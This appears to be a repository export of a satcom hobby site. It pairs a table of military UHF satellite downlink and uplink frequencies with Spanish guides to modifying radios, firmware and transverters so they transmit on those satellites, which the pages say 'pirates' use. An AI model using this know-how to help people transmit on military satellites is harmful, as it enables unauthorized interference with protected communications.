| 248.895 | 302.495 | 53.600 | UFO 11 | 6 khz | | 54 | | 248.905 | 302.505 | 53.600 | UFO 11 | 6 khz | | 55 | | 248.915 | 302.515 | 53.600 | UFO 11 | 6 khz | | 56 | | 248.945 | 302.545 | 53.600 | UFO 11 | 6 khz | | 57 | | 248.955 | 302.555 | 53.600 | UFO 11 | 6 khz | | 58 | | 248.965 | 302.565 | 53.600 | UFO 11 | 6 khz | | 59 | | 248.975 | 302.575 | 53.600 | UFO 7 | 6 khz | | 60 | | 248.985 | 302.585 | 53.600 | UFO 7 | 6 khz | | 61 | | 248.990 | 302.525 | 53.535 | UFO 11 | 6 khz | | 62 | | 248.995 | 302.595 | 53.600 | UFO 7 | 6 khz | | 63 | | 249.000 | 302.600 | 53.600 | UFO 11 | 6 khz | | 64 | | 249.005 | 302.605 | 53.600 | UFO 7 | 6 khz | | 65 | | 249.015 | 302.615 | 53.600 | UFO 7 | 6 khz | | 66 | | 249.025 | 302.625 | 53.600 | UFO 7 | 6 khz | | 67 | | 249.035 | 302.635 | 53.600 | UFO 7 | 6 khz | | 68 | | 249.045 | 302.645 | 53.600 | UFO 7 | 6 khz | | 69 | | 249.050 | 302.650 | 53.600 | UFO 11 | 6 khz | | 70 | | 249.055 | 302.655 | 53.600 | UFO 7 | 6 khz | | 71 | | 249.065 | 302.665 | 53.600 | UFO 7 | 6 khz | | 72 | | 249.075 | 302.675 | 53.600 | UFO 7 | 6 khz | | 73 | | 249.085 | 302.685 | 53.600 | UFO 7 | 6 khz | | 74 | | 249.095 | 302.695 | 53.600 | UFO 7 | 6 khz | | 75 | | 249.100 | 302.700 | 53.600 | UFO 11 | 6 khz | | 76 | | 249.105 | 302.705 | 53.600 | UFO 10 | 6 khz | | 77 | | 249.115 | 302.715 | 53.600 | UFO 10 | 6 khz | | 78 | | 249.125 | 302.725 | 53.600 | UFO 10 | 6 khz | | 79 | | 249.135 | 302.735 | 53.600 | UFO 10 | 6 khz | | 80 | | 249.145 | 302.745 | 53.600 | UFO 10 | 6 khz | | 81 | | 249.155 | 302.755 | 53.600 | UFO 10 | 6 khz | | 82 | | 249.165 | 302.765 | 53.600 | UFO 10 | 6 khz | | 83 | | 249.175 | 302.775 | 53.600 | UFO 10 | 6 khz | | 84 | | 249.185 | 302.785 | 53.600 | UFO 10 | 6 khz | | 85 | | 249.195 | 302.795 | 53.600 | UFO 10 | 6 khz | | 86 | | 249.205 | 302.805 | 53.600 | UFO 10 | 6 khz | | 87 | | 249.215 | 302.815 | 53.600 | UFO 10 | 6 khz | | 88 | | 249.225 | 302.825 | 53.600 | UFO 10 | 6 khz | | 89 | | 249.250 | 302.850 | 53.600 | UFO 10 | 6 khz | | 90 | | 249.235 | 302.835 | 53.600 | UFO 11 | 6 khz | | 91 | | 249.245 | 302.845 | 53.600 | UFO 11 | 6 khz | | 92 | | 249.255 | 302.855 | 53.600 | UFO 11 | 6 khz | | 93 | | 249.265 | 302.865 | 53.600 | UFO 11 | 6 khz | | 94 | | 249.275 | 302.875 | 53.600 | UFO 11 | 6 khz | | 95 | | 249.285 | 302.885 | 53.600 | UFO 11 | 6 khz | | 96 | | 249.295 | 302.895 | 53.600 | UFO 11 | 6 khz | | 97 | | 249.300 | 302.900 | 53.600 | UFO 10 | 6 khz | | 98 | | 249.305 | 302.905 | 53.600 | UFO 11 | 6 khz | | 99 | | 249.315 | 302.915 | 53.600 | UFO 11 | 6 khz | | 100 | | 249.325 | 302.925 | 53.600 | UFO 11 | 6 khz | | 101 | | 249.335 | 302.935 | 53.600 | UFO 11 | 6 khz | | 102 | | 249.345 | 302.945 | 53.600 | UFO 11 | 6 khz | | 103 | | 249.350 | 302.950 | 53.600 | UFO 10 | 6 khz | | 104 | | 249.355 | 302.955 | 53.600 | UFO 11 | 6 khz | | 105 | | 249.400 | 300.975 | 51.575 | Comsat BW1 | 30 khz | | 106 | | 249.450 | 312.750 | 63.300 | Skynet 5C | 30 khz | Brazil | 107 | | 249.490 | 312.850 | 63.360 | Skynet 5B | 30 khz | | 108 | | 249.530 | 298.800 | 49.270 | Skynet 5C | 30 khz | Brazil | 109 | | 249.560 | 298.760 | 49.200 | Skynet 5B | 6 khz | | 110 | | 249.570 | ? | ? | Skynet 5B | 6 khz | | 111 | | 249.580 | 298.740 | 49.160 | Skynet 5B | 6 khz | | 112 | | 249.800 | 295.000 | 45.200 | Skynet 4C | 30 khz | | 113 | | 249.890 | 300.500 | 50.610 | Skynet 5D | 30 khz | | 114 | | 249.930 | 308.750 | 58.820 | Skynet 5B | 30 khz | | 115 | | 250.050 | ? | ? | Skynet 5B | 6 khz | | 116 | | 250.090 | 312.600 | 62.510 | Skynet 5B | 30 khz | | 117 | | 250.200 | 313.950 | 63.750 | Skynet 5C | 30 khz | | 118 | | 250.350 | 294.875 | 44.525 | ? | 30 khz | | 119 | | 250.700 | 295.050 | 44.350 | UFO 11 | 30 khz | | 120 | | 250.900 | 308.300 | 57.400 | Comsat BW2 | 30 khz | | 121 | | 250.950 | 299.500 | 48.550 | Skynet 5B | 30 khz | | 122 | | 251.575 | 308.450 | 56.875 | ? | 30 khz | | 123 | | 251.600 | 298.225 | 46.625 | Intelsat 22 | 30 khz | | 124 | | 251.850 | 292.850 | 41.000 | UFO 11 | 30 khz | | 125 | | 251.950 | 292.950 | 41.000 | UFO 10 | 30 khz | Brazil | 126 | | 252.050 | 293.050 | 41.000 | UFO 10 | 30 khz | Brazil | 127 | | 252.150 | 293.150 | 41.000 | Intelsat 22 | 30 khz | | 128 | | 252.200 | 315.250 | 63.050 | Sicral 2 | 30 khz | | 129 | | 252.250 | 316.350 | 64.100 | Sicral 2 | 30 khz | | 130 | | 252.300 | 293.300 | 41.000 | Intelsat 22 | 30 khz | | 131 | | 252.350 | 310.225 | 57.875 | Sicral 1B | 30 khz | | 132 | | 252.400 | 293.275 | 40.875 | Sicral 1B | 30 khz | | 133 | | 252.450 | 309.750 | 57.300 | Sicral 1B | 30 khz | | 134 | | 252.500 | 309.800 | 57.300 | Sicral 1B | 30 khz | | 135 | | 252.550 | 293.200 | 40.650 | Sicral 1B | 30 khz | | 136 | | 252.625 | 311.450 | 58.825 | Sicral 1B | 30 khz | | 137 | | 252.750 | 306.300 | 53.550 | Skynet 5B | 30 khz | | 138 | | 253.300 | 307.800 | 54.500 | Skynet 5B | 30 khz | | 139 | | 253.550 | 294.550 | 41.000 | UFO11 | 30 khz | | 140 | | 253.600 | 316.250 | 62.650 | Sicral 2? | 30 khz | Not sicral 2. UFO10? Skynet 5C? | 141 | | 253.625 | 296.000 | 42.375 | UFO 11 | 30 khz | | 142 | | 253.650 | 294.650 | 41.000 | UFO 2? | 30 khz | | 143 | | 253.675 | 294.425 | 40.750 | | 30 khz | | 144 | | 253.725 | 294.450 | 40.725 | Intelsat 22 | 30 khz | | 145 | | 253.750 | 294.750 | 41.000 | UFO 10 | 30 khz | Brazil | 146 | | 253.825 | 294.050 | 40.225 | Skynet 5C | 30 khz | | 147 | | 253.850 | 294.850 | 41.000 | UFO 10 | 30 khz | Brazil/German | 148 | | 253.900 | 307.500 | 53.600 | Skynet 5C | 30 khz | Noise | 149 | | 253.950 | 312.800 | 58.850 | Skynet 5D | 30 khz | | 150 | | 253.975 | 294.975 | 41.000 | Intelsat 22 | 6 khz | | 151 | | 254.000 | 298.630 | 44.630 | UFO 11 | 30 khz | | 152 | | 254.025 | 295.025 | 41.000 | Intelsat 22 | 6 khz | | 153 | | 254.200 | | | | | | 154 | | 254.500 | 308.100 | 53.600 | Intelsat 22 | 6 khz | | 155 | | 254.530 | 308.130 | 53.600 | Intelsat 22 | 6 khz | | 156 | | 254.625 | 295.625 | 41.000 | Intelsat 22 | 6 khz | | 157 | | 254.730 | 312.550 | 57.820 | Skynet 5D | 30 khz | | 158 | | 254.775 | 317.825 | 63.050 | Comsat BW2 | 30 khz | DMR | 159 | | 255.000 | | | | | Brazil | 160 | | 255.100 | 318.175 | 63.075 | Sicral 2? | 30 khz | | 161 | | 255.250 | 296.250 | 41.000 | UFO 11 | 30 khz | | 162 | | 255.275 | 297.400 | 42.125 | | 30 khz | | 163 | | 255.350 | 296.350 | 41.000 | UFO 2 | 30 khz | RU | 164 | | 255.450 | 296.450 | 41.000 | UFO 10? | 30 khz | Brazil | 165 | | 255.650 | 296.650 | 41.000 | Intelsat 22 | 6 khz | | 166 | | 255.675 | 296.675 | 41.000 | Intelsat 22 | 30 khz | | 167 | | 255.775 | 309.300 | 53.525 | Comsat BW1 | 30 khz | | 168 | | 255.850 | 296.850 | 41.000 | Intelsat 22 | 6 khz | | 169 | | 256.450 | 313.850 | 57.400 | Skynet 5D | 30 khz | | 170 | | 256.650 | 311.700 | 55.050 | ? | 30 khz | | 171 | | 256.850 | 297.850 | 41.000 | UFO 11 | 30 khz | | 172 | | 256.875 | 293.950 | 37.075 | Skynet 5C | 30 khz | Beacon | 173 | | 256.950 | 297.950 | 41.000 | UFO 2 | 30 khz | | 174 | | 256.975 | 316.850 | 59.875 | Intelsat 22 | 30 khz | | 175 | | 257.050 | 298.050 | 41.000 | UFO 10 | 30 khz | Brazil | 176 | | 257.075 | 297.450 | 40.375 | ? | 30 khz | | 177 | | 257.150 | 298.150 | 41.000 | FLT 8 | 30 khz | Beacon (Alarm) | 178 | | 257.175 | 298.125 | 40.950 | UFO 11 | 30 khz | | 179 | | 257.200 | 308.800 | 51.600 | UFO/Sicral 2 | 30 khz | | 180 | | 257.250 | 316.900 | 59.650 | UFO/Sicral 2 | 30 khz | Spanish | 181 | | 257.300 | 309.725 | 52.425 | UFO/Sicral 2 | 30 khz | | 182 | | 257.350 | 307.200 | 49.850 | UFO/Sicral 2 | 30 khz | | 183 | | 257.450 | 305.950 | 48.500 | Skynet 5C | 30 khz | Spanish/Romanian | 184 | | 257.500 | 311.350 | 53.850 | UFO 10 | 30 khz | Brazil | 185 | | 257.600 | 305.950 | 48.350 | Skynet 5A | 30 khz | | 186 | | 257.700 | 316.150 | 58.450 | Skynet 4E | 30 khz | | 187 | | 257.750 | 308.400 | 50.650 | Skynet 4C | 30 khz | 257.755 Ita | 188 | | 257.775 | 311.375 | 53.600 | Intelsat 22? | 30 khz | | 189 | | 257.825 | 297.075 | 39.250 | Skynet 5C | 30 khz | | 190 | | 258.225 | 299.3 | 41.075 | UFO 2 | 30 khz | DMR in 258.215 | 191 | | 258.350 | 299.350 | 41.000 | UFO 11 | 30 khz | | 192 | | 258.450 | 299.450 | 41.000 | UFO 2 | 30 khz | Spanish | 193 | | 258.500 | 299.500 | 41.000 | UFO 11 | 30 khz | | 194 | | 258.550 | 299.550 | 41.000 | UFO 10 | 30 khz | Brazil | 195 | | 258.600 | 294.825 | 36.225 | ? | 30 khz | Buzzer tone | 196 | | 258.650 | 299.650 | 41.000 | UFO 11 | 30 khz | DMR | 197 | | 258.700 | 312.900 | 54.200 | Skynet 4C | 30 khz | | 198 | | 258.950 | | | | | | 199 | | 259.000 | 317.925 | 58.925 | Comsat BW2 | 30 khz | | 200 | | 259.050 | 307.45 | 48.400 | Comsat BW1 | 30 khz | Buzzer tone | 201 | | 259.975 | 309.7 | 49.725 | Sicral 1B | 30 khz | | 202 | | 260.025 | 293.250 | 33.225 | Sicral 1B | 30 khz | Buzzer tone | 203 | | 260.075 | 310.275 | 50.200 | Sicral 1B | 30 khz | | 204 | | 260.125 | 310.125 | 50.000 | Sicral 1B | 30 khz | DMR | 205 | | 260.175 | 309.875 | 49.700 | Sicral 1B | 30 khz | | 206 | | 260.250 | 314.400 | 54.150 | Skynet 5B | 30 khz | | 207 | | 260.375 | 293.975 | 33.600 | UFO 11 | 30 khz | | 208 | | 260.425 | 294.025 | 33.600 | UFO 10 | 30 khz | Brazil | 209 | | 260.450 | 297.575 | 37.125 | UFO 11 | 30 khz | | 210 | | 260.475 | 294.075 | 33.600 | UFO 11 | 30 khz | | 211 | | 260.500 | 317.130 | 56.630 | UFO 11 | 6 khz | | 212 | | 260.525 | 294.125 | 33.600 | UFO 10 | 30 khz | Brazil | 213 | | 260.550 | 293.800 | 33.250 | Intelsat 22 | 30 khz | | 214 | | 260.575 | 294.175 | 33.600 | UFO 10 | 30 khz | Brazil | 215 | | 260.625 | 294.225 | 33.600 | UFO 11 | 30 khz | | 216 | | 260.650 | 297.100 | 36.450 | ? | 30 khz | | 217 | | 260.675 | 294.275 | 33.600 | UFO 10 | 30 khz | Brazil | 218 | | 260.725 | 294.325 | 33.600 | UFO 11 | 30 khz | UFO 4 | 219 | | 260.900 | 313.050 | 52.150 | Skynet 5D | 30 khz | | 220 | | 260.950 | 299.400 | 38.450 | UFO 7 | 30 khz | Brazil | 221 | | 261.100 | 298.700 | 37.600 | Skynet 5A | 30 khz | DMR | 222 | | 261.200 | 294.950 | 33.750 | Skynet 5B | 30 khz | Italian | 223 | | 261.400 | 316.550 | 55.150 | Skynet 4C | 30 khz | | 224 | | 261.575 | 295.175 | 33.600 | UFO 11 | 30 khz | | 225 | | 261.600 | 306.975 | 45.375 | Intelsat 22 | 30 khz | | 226 | | 261.625 | 295.225 | 33.600 | UFO 10 | 30 khz | Brazil | 227 | | 261.650 | 309.650 | 48.000 | Intelsat 22 | 30 khz | | 228 | | 261.675 | 295.275 | 33.600 | UFO 11 | 30 khz | | 229 | | 261.700 | 296.525 | 34.825 | UFO 11 | 30 khz | | 230 | | 261.725 | 295.325 | 33.600 | UFO 10 | 30 khz | Brazil | 231 | | 261.775 | 295.375 | 33.600 | UFO 11 | 30 khz | | 232 | | 261.800 | ? | ? | ? | 30 khz | | 233 | | 261.825 | 295.425 | 33.600 | UFO 10 | 30 khz | Alarm | 234 | | 261.850 | 300.275 | 38.425 | Intelsat 22 | 30 khz | | 235 | | 261.875 | 295.475 | 33.600 | UFO 11 | 30 khz | | 236 | | 261.900 | 316.825 | 54.925 | ? | 30 khz | | 237 | | 261.925 | 295.525 | 33.600 | UFO 10 | 30 khz | Brazil. Old 296.925 | 238 | | 261.950 | 294.625 | 32.675 | UFO 11 | 30 khz | | 239 | | 261.975 | 294.000 | 32.025 | UFO 11 | 30 khz | | 240 | | 262.000 | 314.200 | 52.200 | Skynet 5D | 30 khz | | 241 | | 262.025 | 316.650 | 54.625 | Intelsat 22? | 30 khz | | 242 | | 262.075 | 295.675 | 33.600 | UFO 10 | 30 khz | Brazil | 243 | | 262.175 | 295.775 | 33.600 | UFO7 | 30 khz | Brazil | 244 | | 262.275 | 300.275 | 38.000 | UFO7 | 30 khz | Brazil | 245 | | 262.300 | 295.900 | 33.600 | FLT 8 | 30 khz | | 246 | | 262.375 | 295.975 | 33.600 | UFO 10 | 30 khz | Brazil | 247 | | 263.400 | 316.400 | 53.000 | Skynet 5B | 30 khz | | 248 | | 263.450 | 311.400 | 47.950 | Skynet 5B | 30 khz | | 249 | | 263.500 | 315.200 | 51.700 | Skynet 5B | 30 khz | | 250 | | 263.575 | 297.175 | 33.600 | UFO 11 | 30 khz | | 251 | | 263.600 | 317.140 | 53.540 | UFO 11 | 6 khz | | 252 | | 263.650 | 295.075 | 31.425 | UFO 10 | 30 khz | Brazil | 253 | | 263.675 | 297.275 | 33.600 | UFO 11 | 30 khz | | 254 | | 263.700 | 295.125 | 31.425 | UFO 10 | 30 khz | Brazil | 255 | | 263.725 | 298.525 | 34.800 | UFO 11 | 30 khz | | 256 | | 263.750 | 317.150 | 53.400 | UFO 11 | 6 khz | | 257 | | 263.775 | 297.375 | 33.600 | UFO 2 | 30 khz | | 258 | | 263.800 | 297.250 | 33.450 | UFO 11 | 30 khz | | 259 | | 263.825 | 297.425 | 33.600 | UFO 11 | 30 khz | | 260 | | 263.875 | 297.475 | 33.600 | UFO 2 | 30 khz | Ukraine | 261 | | 263.925 | 297.525 | 33.600 | UFO 11 | 30 khz | | 262 | | 265.250 | 306.250 | 41.000 | UFO 11 | 30 khz | | 263 | | 265.325 | 295.100 | 29.775 | UFO 11 | 30 khz | | 264 | | 265.350 | 306.345 | 41.000 | UFO 10 | 30 khz | Brazil | 265 | | 265.375 | 295.200 | 29.825 | UFO 11 | 30 khz | | 266 | | 265.450 | 306.450 | 41.000 | UFO 10 | 30 khz | | 267 | | 265.475 | 295.500 | 30.025 | UFO 11 | 30 khz | | 268 | | 265.550 | 306.550 | 41.000 | UFO 11 | 30 khz | | 269 | | 265.675 | 306.675 | 41.000 | Intelsat 22 | 30 khz | | 270 | | 265.850 | 306.850 | 41.000 | Intelsat 22 | 30 khz | | 271 | | 266.750 | 316.575 | 49.825 | UFO 11 | 30 khz | | 272 | | 266.850 | 307.850 | 41.000 | UFO 10 | 30 khz | | 273 | | 266.950 | 307.950 | 41.000 | UFO 10 | 30 khz | | 274 | | 266.975 | 297.500 | 30.525 | UFO 11 | 30 khz | | 275 | | 267.050 | 308.050 | 41.000 | Intelsat 22 | 30 khz | | 276 | | 267.100 | 308.100 | 41.000 | Sicral 2 | 30 khz | | 277 | | 267.150 | 308.150 | 41.000 | Sicral 2 | 30 khz | | 278 | | 267.200 | 308.200 | 41.000 | Sicral 2 | 30 khz | | 279 | | 267.250 | 308.250 | 41.000 | Sicral 2 | 30 khz | | 280 | | 267.400 | 294.900 | 27.500 | UFO 11 | 30 khz | | 281 | | 267.575 | 297.625 | 30.050 | UFO 11 | 30 khz | | 282 | | 267.875 | 310.375 | 42.500 | Sicral 1B | 30 khz | | 283 | | 267.950 | 310.075 | 42.125 | Sicral 1B | 30 khz | | 284 | | 268.000 | 310.5 | 42.500 | Sicral 1B | 30 khz | Czech | 285 | | 268.050 | 309.95 | 41.900 | Sicral 1B | 30 khz | Czech | 286 | | 268.100 | 293.325 | 25.225 | Sicral 1B | 30 khz | | 287 | | 268.150 | 309.150 | 41.000 | UFO 11 | 30 khz | | 288 | | 268.200 | 296.050 | 27.850 | UFO 11 | 30 khz | | 289 | | 268.250 | 309.250 | 41.000 | UFO 10 | 30 khz | Brazil | 290 | | 268.350 | 309.350 | 41.000 | UFO 10 | 30 khz | | 291 | | 268.450 | 297.150 | 28.700 | UFO 11 | 30 khz | | 292 | | 268.950 | ? | ? | ? | 30 khz | | 293 | | 269.650 | 302.425 | 32.775 | UFO 11 | 30 khz | | 294 | | 269.725 | 295.150 | 25.425 | UFO 11 | 30 khz | | 295 | | 269.750 | 310.750 | 41.000 | UFO 10 | 30 khz | | 296 | | 269.850 | 310.850 | 41.000 | UFO 10 | 30 khz | Brazil | 297 | | 269.925 | 295.550 | 25.625 | UFO 11 | 30 khz | | 298 | | 269.950 | 310.950 | 41.000 | UFO 11 | 30 khz | | 299 | 300 | 301 | -------- 302 | 303 | Last Update: 01/06/2025 304 | -------------------------------------------------------------------------------- /docs/es/radios/quansheng-uvk5.md: -------------------------------------------------------------------------------- 1 | # Quansheng UV-k5 2 | 3 | Los UV-k5 (Y tambien los UV-k5(8)/UV-k6) tienen una potencia bastante baja en la gama de frecuencias de satcom (1,4W). 4 | 5 | Para mejorar la potencia de salida y la sensibilidad se recomienda hacer la siguiente modificación: 6 | 7 | 8 | 9 | Tras esta modificación obtendremos unos 5W de potencia de salida. 10 | 11 | Se recomienda instalar firmwares personalizados como el de Matoz. 12 | Es recomendable utilizar una antena directiva (yagi) o un [amplificador](/es/amplificadores/index.md) debido a la baja potencia de emision. 13 | 14 | --- 15 | 16 | [Canal de UV-K5 en ingles](https://t.me/quansheng_uvk5_en_dev) 17 | [Canal de UV-K5 en español](https://t.me/QuanShengES) 18 | -------------------------------------------------------------------------------- /docs/es/radios/tidradio-h3.md: -------------------------------------------------------------------------------- 1 | # Tidradio H3 2 | 3 | 4 | 5 | Este transciever permite trabajar con satcom **sin modificaciones de hardware, solo cambiando el firmware**. 6 | Dependiendo del firmware se pueden conseguir unos 6-8W. 7 | 8 | Para hacerlo funcionar tienes que actualizar el software con el .exe IAP que puedes descargar [aqui](https://satcomradio.github.io/_files/TD-H3_IAP.zip). 9 | 10 | Puedes usar el firmware R3 que puedes conseguir en la [pagina oficial de github](https://github.com/yobabyte/tid_umod/releases) [mirror](https://satcomradio.github.io/_files/uMod_R3.bin) 11 | o alternativamente, usar el firmware R2 que te dara 2W mas de potencia y puedes descargarlo [aqui](https://satcomradio.github.io/_files/uMod_R2b.bin) 12 | 13 | Los pasos son los siguientes: 14 | 1. Apaga la radio 15 | 2. Abre el software TD-H3_IAP 16 | 3. Selecciona el firmware .bin que quieras cargar 17 | 4. Selecciona el puerto 18 | 5. Pulse el boton START 19 | 6. Enciende la radio mientras pulsas el boton PTT 20 | 21 | Ahora deberia aparecer una barra de progreso en la parte inferior y el firmware deberia estar cargado. 22 | Puedes usar el CPS estandar de TidRadio para cargar los canales 23 | 24 | 7. Una vez cargado activa el menu TX en: 52,53,54 25 | 8. En la pantalla principal de la radio, manten pulsado el boton 7 y entra en el "menu secreto" 26 | 9. Pon el filtro VHF/UHF en "280 Mhz" 27 | 28 | [Canal ruso de Telegram](https://t.me/TD_H3) -------------------------------------------------------------------------------- /docs/es/radios/wouxun-kg-uv7h.md: -------------------------------------------------------------------------------- 1 | # Wouxun KG-UV7H 2 | 3 | 4 | 5 | Esta radio funciona directamente en satcom sin hacer modificaciones y con una potencia de 7W. 6 | 7 | [Related website](https://www.wouxunshop.com/Dual-Band-Two-Way-Radio-KG-UV7H-p1481750.html) -------------------------------------------------------------------------------- /docs/es/radios/wouxun-kg-uvr5.md: -------------------------------------------------------------------------------- 1 | # Wouxun KG-UVR5 2 | 3 | 4 | 5 | Esta radio funciona directamente en satcom sin hacer modificaciones y con una potencia de 40-50W. 6 | Si quieres expandir el TX hasta los 320Mhz, modificar la potencia de salida, cambiar la ganancia del microfono o poner un paso de 2,5khz 7 | puedes hacerlo con el [driver de Chirp](https://github.com/SatcomRadio/wouxun_kguvr5_chirp_driver) 8 | 9 | [Related website](https://www.wouxunshop.com/Dual-Frequency-Car-Mobile-Radio-KG-UVR5-p1476572.html) -------------------------------------------------------------------------------- /docs/es/radios/zastone-uv008.md: -------------------------------------------------------------------------------- 1 | # Zastone uv008 2 | 3 | El Zastone (también se vende como Vitai) uv008 es un transmisor portatil capaz de comunicarse con Satcom en DMR. 4 | 5 | 6 | 7 | Existen 3 versiones de esta radio. La única versión que funciona con satcom sin modificar el software es la v3. 8 | A partir del 2023, todos los modelos fabricados por Zastone son el modelo v3 9 | 10 | 11 | 12 | Tiene una potencia de unos 10W en las frecuencias de satcom. 13 | Las únicas limitaciones son el firmware y el software para su programacion (CPS) 14 | 15 | Para transmitir en DMR hay que tener el TX en el VFO A y el RX en el VFO B (o a la inversa) ya que el firmware no acepta offsets cuando se usa DMR 16 | 17 | 18 | 19 | Verifica el [foro VRTP](https://vrtp.ru/index.php?showtopic=33914&st=60) para las saber las ultimas novedades. 20 | 21 | ### Fuentes: 22 | 23 | [Telegram](https://t.me/Zaston_M7_Pirates) 24 | [Telegram](https://t.me/zastone8) 25 | [Zastone info website](https://telegra.ph/Instrukciya-programmirovaniya-Zastone-UV008-v3-s-AES256-04-03) 26 | -------------------------------------------------------------------------------- /docs/es/sdr.md: -------------------------------------------------------------------------------- 1 | # Web SDR 2 | 3 | Hay algunos sitios que te permiten recibir frecuencias de satcom a través de internet. 4 | Los piratas las usan para comprobar si llegan al satélite o para escuchar las transmisiones en caso de que su antena sea sorda 5 | 6 | Hay que tener en cuenta que dependiendo de donde se encuentre el SDR solo oirá los satélites que sean alcanzables 7 | 8 | [Rikmotik (Crimea) SDR](https://rikmotik.ru/#freq=253650000,mod=nfm,sql=-22) 9 | [Spain (La contraseña esta en nuestro telegram)](https://p3t3.ddns.me/) 10 | [Blumenau (Brazil) SDR](http://jorsan142.mycrestron.com:8073) 11 | [Saltonet (Brazil) SDR](http://sdr.saltonet.inf.br:8073/#freq=29250000,mod=am,sql=-150) 12 | [Wessex (UK)](http://wessex.hopto.org:8060/) 13 | [Germany](http://raveheart.goip.de:8073/#freq=10136000,mod=usb,secondary_mod=ft8,sql=-150) 14 | [Budapest](https://rx.satcom.keenetic.name/#freq=1535000000,mod=nfm,sql=-150) 15 | [Gudynas (Lithuania) SDR](https://sdr.gudynas.lt/#freq=146400000,mod=nfm,sql=-150) 16 | [Webradio (Russia) SDR 1](http://webradio.sytes.net:8080) 17 | [Webradio (Russia) SDR 2](http://webradio.sytes.net:8081) 18 | [Meridian](http://sa2kng.ddns.net:8073/#freq=483749000,mod=nfm,sql=-150) 19 | [Satcomdv (Russia **Pacific**) SDR](http://satcomdv.chickenkiller.com/#freq=257149996,mod=nfm,sql=-150) 20 | 21 | Si se desea encontrar otros SDRs en el [mapa del sitio web de los receptores de SDR](https://rx-tx.info/map-sdr-points) puede ser de gran ayuda. 22 | -------------------------------------------------------------------------------- /docs/es/telegram.md: -------------------------------------------------------------------------------- 1 | # Telegram 2 | 3 | Listado de foros, telegrams y enlaces interesantes. 4 | 5 | [Canal de este sitio web](https://t.me/satcom_radio) 6 | 7 | ----- 8 | 9 | [Principal foro ruso de Satcom](https://vrtp.ru/index.php?showforum=194) 10 | [Canal UV-K5 en inglés](https://t.me/quansheng_uvk5_en_dev) 11 | 12 | ----- 13 | 14 | Hay muchos canales rusos de satcom en telegram, puedes buscarlos utilizando el buscador de telegram y unirte a ellos bajo tu propia responsabilidad, pero nunca des información personal. 15 | -------------------------------------------------------------------------------- /docs/es/transverters/index.md: -------------------------------------------------------------------------------- 1 | # Transversores 2 | 3 | Los transversores funcionan cambiando la gama de frecuencias que el transmisor puede recibir y transmitir. 4 | 5 | # Transversor UR3LMZ 6 | 7 | Alexander [ur3lmz](mailto:ur3lmz@gmail.com) vende un transversor muy bueno y dependiendo del modelo, tiene una frecuencia de entrada en VHF o en UHF. 8 | 9 | 10 | 11 | 12 | La única diferencia entre la versión UHF y la VHF son las frecuencias programadas en el ADF4351 y la bobina L1. 13 | 14 | 15 | 16 | 17 | La potencia de entrada es de alrededor de 2W y la salida está entre 12-13W mientras se alimenta con 12v DC 18 | Dependiendo de la versión la frecuencia es 200Mhz más baja (455Mhz -> 255mhz) o 100 Mhz más alta (155mhz -> 255mhz) 19 | 20 | Finalmente con el selector en la parte frontal se elige el Tx Offset (se puede cambiar cuando encargas el transverter) 21 | 22 | 1. 33.6Mhz 23 | 2. 41Mhz 24 | 3. 47.225Mhz 25 | 26 | En la parte trasera hay 3 conectores BNC. Uno para conectar el transmisor, el del medio para conectar una antena UHV/VHF estándar que se utilizará 27 | cuando el transversor esté apagado y el último para conectar una antena Satcom. 28 | 29 | ``` 30 | Por ejemplo si tienes la versión UHF y estás en frecuencia RX y Tx = 455.50mhz con el selector en la posición 2 31 | 32 | Frecuencia Rx = 255.50mhz 33 | Frecuencia Tx = 296.55mhz (255.50 + 41) 34 | ``` 35 | 36 | La frecuencia es controlada por el chip ADF4351 mediante un attiny13 37 | 38 | 39 | 40 | 41 | En caso de que quieras tener los siguientes offsets: 42 | 1. 33.6Mhz 43 | 2. 41Mhz 44 | 3. 0 (TX=RX) 45 | 46 | Puedes usar el siguiente [firmware](https://satcomradio.github.io/_files/sint13.hex) y subirlo mediante una 47 | [arduino](https://ecetechprojects.wordpress.com/2011/08/06/arduino-upload-hex-files-to-attiny85-using-your-arduino-and-avrdude/) 48 | al attiny13 del controlador de frecuencia (solo para la version UHF). 49 | 50 | También puedes modificar las frecuencias del transverter mediante una Arduino tal y como se explica en [este repositorio](https://github.com/gavazquez/TransverterControl) 51 | 52 | # Transversor R1ZH 53 | 54 | Puede encontrar más información sobre este transversor (en ruso) [aquí](http://r1zh.ru/satcom3/satcom3.htm) 55 | 56 | -------------------------------------------------------------------------------- /docs/favicon.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SatcomRadio/satcomradio.github.io/fabeaf8e73aa527b388a11a4df460f2bdb1ac5cc/docs/favicon.ico -------------------------------------------------------------------------------- /docs/favicon.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SatcomRadio/satcomradio.github.io/fabeaf8e73aa527b388a11a4df460f2bdb1ac5cc/docs/favicon.png -------------------------------------------------------------------------------- /docs/freq.md: -------------------------------------------------------------------------------- 1 | # Frequencies 2 | 3 | Here you have a table with most of the frequencies with their offset. 4 | Bear in mind that different satellites have different frequencies so some of them may not be visible from your location. 5 | In some frequencies the uplink frequency has not been found. You can send me an [email](satcomradioham@gmail.com) if you want to add it. 6 | All the frequencies have been tested with [Rikmotik SDR](https://rikmotik.ru/#freq=253650000,mod=nfm,sql=-22) or [Gudynas SDR](https://sdr.gudynas.lt/#freq=146400000,mod=nfm,sql=-150) 7 | 8 | | Rx | Tx | Offset | Satellite | Width | Notes | 9 | | ------- | ------- | ------ | ------------ | ------ | ------------------------------- | 10 | | 243.625 | 300.400 | 56.775 | Comsat BW2 | 30 khz | | 11 | | 243.625 | 316.725 | 73.100 | UFO 11 | 30 khz | | 12 | | 243.800 | 298.200 | 54.400 | Intelsat 22 | 30 khz | | 13 | | 243.915 | 317.015 | 73.100 | UFO 11 | 30 khz | | 14 | | 243.935 | 317.035 | 73.100 | UFO 11 | 6 khz | | 15 | | 243.945 | 317.045 | 73.100 | UFO 11 | 6 khz | | 16 | | 243.955 | 317.055 | 73.100 | UFO 11 | 6 khz | | 17 | | 243.965 | 317.065 | 73.100 | UFO 11 | 6 khz | | 18 | | 243.975 | 317.075 | 73.100 | UFO 11 | 6 khz | | 19 | | 243.985 | 317.085 | 73.100 | UFO 11 | 6 khz | Beacon 5s | 20 | | 243.990 | 317.090 | 73.100 | FLT 8 | 6 khz | | 21 | | 244.995 | 317.095 | 72.100 | FLT 8 | 6 khz | | 22 | | 244.000 | 317.100 | 73.100 | FLT 8 | 6 khz | | 23 | | 244.030 | 317.170 | 73.140 | UFO 11 | 6 khz | | 24 | | 244.040 | 317.230 | 73.190 | UFO 11 | 6 khz | | 25 | | 244.050 | 